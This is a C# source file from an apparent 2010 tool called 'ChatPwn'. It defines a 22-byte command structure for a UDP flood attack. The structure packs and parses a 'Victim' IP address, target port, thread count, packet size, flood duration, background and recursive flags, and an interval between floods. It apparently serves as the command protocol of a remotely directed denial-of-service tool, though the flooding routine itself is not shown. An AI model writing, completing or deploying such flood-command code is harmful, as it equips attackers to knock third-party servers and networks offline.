/* THIS PROGRAM IS PROTECTED LEGALLY 
 * under a GPL License, if you are unsure of the
 * License details, a copy of the License is in the resources
 * Copyright DJ Shepherd/Dalavin/Tanner/SkunkieButt @ 2010 */

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Runtime.CompilerServices;
using ChatService;
using FloodService;

namespace ChatPwn
{
    class Flood_Struct
    {
        [CompilerGenerated]
        byte[] Data = null;

        public bool Valid { get { return Data != null; }}

        public Flood_Struct(byte[] DataIn)
        {
            if (DataIn.Length != 22)
                return;
            if (DataIn[0] != (byte)Codes.Unknown || DataIn[1] != 0)
                return;
            Data = DataIn;
        }

        public IPAddress GetTarget()
        {
            return new IPAddress((Data[5] << 24 | Data[4] << 16 | Data[3] << 8 | Data[2]));
        }

        public ushort GetPort() { return (ushort)(Data[6] << 8 | Data[7]); }

        public ushort GetThreadCount() { return (ushort)(Data[8] << 8 | Data[9]); }

        public ushort GetPacketSize() { return (ushort)(Data[10] << 8 | Data[11]); }

        public int GetFloodTime() { return (int)(Data[12] << 24 | Data[13] << 16 | Data[14] << 8 | Data[15]); }

        public bool GetBackFlag() { return (Data[16] & 1) == 1; }

        public bool GetRecursiveFlag() { return (Data[17] & 1) == 1; }

        public int GetBetweenTime() { return (Data[18] << 24 | Data[19] << 16 | Data[20] << 8 | Data[21]); }

        public static byte[] ToData(
            IPAddress Victim,
            int Port,
            ushort ThreadCount,
            ushort PacketSize,
            int TimeOfFlood,
            bool Background,
            bool IsRecursive,
            int TimeBetween)
        {
            List<byte> xReturn = new List<byte>();
            xReturn.Add((byte)Codes.Unknown);
            xReturn.Add((byte)0); // Used for UDP flood indication
            xReturn.AddRange(Victim.GetAddressBytes());
            xReturn.AddRange(BitConverter.GetBytes((short)Port).Reverse());
            xReturn.AddRange(BitConverter.GetBytes(ThreadCount).Reverse());
            xReturn.AddRange(BitConverter.GetBytes(PacketSize).Reverse());
            xReturn.AddRange(BitConverter.GetBytes(TimeOfFlood).Reverse());
            xReturn.Add((byte)(Background ? 1 : 0));
            xReturn.Add((byte)(IsRecursive ? 1 : 0));
            xReturn.AddRange(BitConverter.GetBytes(TimeBetween).Reverse());
            return xReturn.ToArray();
        }
    }

    static class extenz
    {
        public static byte[] Reverse(this byte[] x)
        {
            Array.Reverse(x);
            return x;
        }
    }
}
